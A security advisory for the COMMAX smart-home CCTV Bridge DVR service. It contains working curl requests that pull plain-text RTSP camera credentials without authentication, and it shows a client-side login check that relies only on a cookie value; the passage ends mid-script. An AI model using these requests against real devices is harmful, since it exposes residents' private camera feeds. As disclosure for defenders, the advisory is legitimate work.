COMMAX Smart Home Ruvie CCTV Bridge DVR Service RTSP Credentials Disclosure  
Vendor: COMMAX Co., Ltd.  
Prodcut web page:  
Affected version: n/a  
Summary: COMMAX Smart Home System is a smart IoT home solution for a large apartment  
complex that provides advanced life values and safety.  
Desc: The COMMAX CCTV Bridge for the DVR service allows an unauthenticated attacker  
to disclose RTSP credentials in plain-text.  
Tested on: GoAhead-Webs  
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic  
Advisory ID: ZSL-2021-5665  
Advisory URL:  
$ curl http://TARGET:8086/overview.asp  
<TITLE> Infomation</TITLE>  
<script src="./jquery.min.js"></script>  
<script src="./jquery.cookie.js"></script>  
<script src="./login_check.js"></script>  
<li> [2021/08/15 09:56:46] Started <BR> <li> MAX USER : 32 <BR> <li> DVR Lists <BR>[1] rtsp://admin:s3cr3tP@$$w0rd@ <BR>  
$ curl http://TARGET:8086/login_check.js:  
var server_ip = $(location).attr('host');  
var server_domain = server_ip.replace(":8086", "");  
document.domain = server_domain;  
var cookiesAuth = $.cookie("cookiesAuth");  
if (cookiesAuth != "authok") {  
parent.document.location.href = "http://" + server_domain + ":8086/home.asp";